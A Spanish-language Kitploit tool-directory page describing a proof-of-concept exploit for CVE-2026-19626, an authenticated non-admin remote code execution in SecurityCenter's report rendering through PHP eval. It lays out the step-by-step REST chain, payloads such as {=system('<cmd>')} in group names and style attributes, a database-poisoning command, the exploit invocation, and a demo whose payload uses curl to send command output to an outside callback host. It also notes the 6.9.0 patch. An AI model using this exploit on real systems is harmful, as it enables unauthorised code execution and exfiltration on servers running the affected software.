Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2026-19626 — Exploit de prueba de concepto para CVE-2026-19626, una ejecución remota de código autenticada en la generación de informes de SecurityCenter, que demuestra una cadena sin privilegios de administrador mediante inyección de nombres de grupo y eval de PHP. | Kitploit
Herramientas/GitHubGitHub/h00die/poc-cve-2026-19626
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubh00die/poc-cve-2026-19626

POC-CVE-2026-19626

Exploit de prueba de concepto para CVE-2026-19626, una ejecución remota de código autenticada en la generación de informes de SecurityCenter, que demuestra una cadena sin privilegios de administrador mediante inyección de nombres de grupo y eval de PHP.

Ver Repositorio
hace 15h 28mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

infoGraphic

CVE-2026-19626 — RCE en la generación de informes (autenticado, no administrador)

Estado: CONFIRMADO — totalmente remoto, no administrador, solo REST (laboratorio 6.7.2-14.el9, 2026-08-21).

La cadena armada (esto es lo que hace poc.py):

  1. inicia sesión como cualquier usuario normal de la organización
  2. POST /rest/group con name: "{=system('<cmd>')}" — llaves/comillas aceptadas tal cual (el controlador de grupos no tiene comprobación de charset)
  3. POST /rest/reportDefinition — informe PDF, un componente pieChart, consulta user/sumgroup, labelColumns: groupID
  4. POST /rest/reportDefinition/{id}/launch
  • En el renderizado, substituteParams() sustituye el marcador de posición {label} por el nombre del grupo ANTES de que se ejecute el bucle eval {=...} — la carga útil cae dentro de la cadena de formato y eval("$expr = system('<cmd>');") se ejecuta como tns
  • El valor de retorno de system() se sustituye de nuevo en la etiqueta — la salida del comando se renderiza en la leyenda del gráfico circular del informe finalizado (el canal de exfiltración)
  • El marcador /tmp/pwn_label se crea con esta cadena exacta (sin acceso a la BD, sin escritura de estilos, sin subida de archivos). Nótese que el grupo de cero miembros sigue produciendo un sector — la agregación sumgroup lo incluye.

    Además, se confirmó mediante invocación directa y envenenamiento de estilo en toda la canalización (ver historial a continuación): el sumidero eval está activo en la substituteParams() incluida, y un atributo de estilo legendFormat predeterminado envenenado se activa en CUALQUIER renderizado de gráfico circular, incluidos los informes que no son propiedad del administrador.

    Advertencia de entrega (por qué el PoC puramente REST se detiene): el objeto style en línea de la definición del informe — donde el PoC inserta legendFormat/labelFormat — se almacena textualmente en xmlDefinition pero se descarta en el renderizado: getReport(CONTEXT_RENDER) rehidrata los componentes desde las tablas normalizadas y sobrescribe $component['style'] con StyleLib::getComponentStyle() (recuperado mediante styleID). El controlador de importación de estilos existe (Styles::add, analiza un archivo XML subido mediante xmlToStyles, con la comprobación de solo administrador comentada) pero no se expone ninguna ruta hacia él — 12 combinaciones verbo/ruta (style, styles, style::add, style/import × POST/PUT/PATCH, con un nombre de archivo preparado válido) devuelven el error 10, y el bundle de la interfaz contiene cero llamadas a endpoints de estilo. Por lo tanto, la entrega puramente remota requiere una vía de escritura de estilos que 6.7.2 no expone; la cadena renderizada se demostró directamente mediante el atributo de estilo.

    Vulnerabilidad

    /opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 y anteriores):

    • línea 8283 — eval("\$expr = {$exprs[1]};") en substituteParams(). Las cadenas de formato de leyenda/etiqueta del gráfico circular ($style['legendFormat'] / $style['labelFormat'], líneas 4952/4983) admiten marcadores de posición {=<arithmetic>}, p. ej. el predeterminado integrado {={sector}+1}. El cuerpo de la expresión es contenido de la definición del informe proporcionado por el usuario → PHP arbitrario.
    • líneas 5538 / 5714 — eval("\$sectorLabels->setBackground($labelStyle);") con labelStyling del estilo del gráfico. La salvaguarda de 6.8.0 era if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — rechaza solo ;; system('cmd') pasa.
    • línea 6125 — puerta if (is_callable($matches['name'])) sobre especificaciones de forma de barra como circleShape(10). system(id) atraviesa la puerta. El comentario del parche 6.9.0 lo afirma directamente: "is_callable() NO es una puerta segura (is_callable("system") === true)".

    Cualquier usuario de la organización con derechos de definición de informes llega a los tres en el momento del renderizado (generateReport.php / Jobd). ReportDefinitions::launch() rechaza ROLE_ADMIN — la clase de bug es explícitamente no administrador.

    La salida del comando se sustituye de nuevo en el texto de la etiqueta, por lo que el informe renderizado es el canal de exfiltración.

    Parche (6.9.0)

    Se eliminó eval(); las expresiones {=...} se restringen a /^[0-9.\s()+\-*\/]+/ y se evalúan mediante un tokenizador; resolveLabelStyleArgs() analiza el estilo de etiqueta en una lista de argumentos; isAllowedBarShapeFunction() es una lista blanca con parámetros solo numéricos.

    PoC

    root@kitploit:~
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
    

    Inyección en la etiqueta del nombre de grupo (la cadena remota anterior): crea el grupo con el nombre de la carga útil, construye el informe sumgroup, lo lanza y sondea el resultado renderizado — la salida del comando aparece en la leyenda del gráfico circular del informe finalizado. Restricción de la carga útil: sin caracteres } (la regex {=...} no es codiciosa hasta la primera llave); la salida del comando viaja en la sustitución de la etiqueta, así que léela del informe o verifícala mediante marcador/temporización.

    Notas de anatomía (por qué las cadenas obvias se detienen)

    • El atributo style.legendFormat/labelFormat en línea de la definición se almacena textualmente en xmlDefinition pero se descarta en el renderizado — los componentes rehidratan los estilos desde las tablas de estilos mediante styleID (el contexto de renderizado de ReportDefinitionLib sobrescribe $component['style'] con StyleLib::getComponentStyle()).
    • El controlador de importación de estilos existe (Styles::add, comprobación de administrador comentada, analiza un XML subido mediante xmlToStyles) pero no hay ninguna ruta conectada — 12 combinaciones verbo/ruta (incluido el sub-recurso /rest/style/{id}) devuelven el error 10 en todos los casos, y el bundle de la interfaz contiene cero llamadas a endpoints de estilo.
    • La vía del valor de la etiqueta no necesita nada de eso: la sustitución de {label} precede al bucle eval, por lo que CUALQUIER etiqueta influenciada por el atacante (el nombre de grupo aquí; los campos de perfil de usuario y los nombres de host de activos escaneados tienen la misma forma) transporta la carga útil.

    Comandos de confirmación en el laboratorio

    root@kitploit:~
    # direct sink (on-box)
    /opt/sc/support/bin/php /tmp/t.php   # requires defines+phpchartdir+ReportChartingLib
    
    # style poison (root) + any report launch
    /opt/sc/support/bin/sqlite3 /opt/sc/application.db \
      "UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
       WHERE attribute='legendFormat' AND styleID IN (19,20)"
    # restore: DELETE those attribute rows (falls back to built-in defaults)
    

    Demo

    root@kitploit:~
    $ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
    [*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
    [+] authenticated, token 21137241...
    [+] created group carrying payload name (id 9)
    [+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
    [+] report launched — chart render evals the group-name payload
    [*] waiting for output callback ...
    [+] command output:
    uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0
    
    Descargar herramienta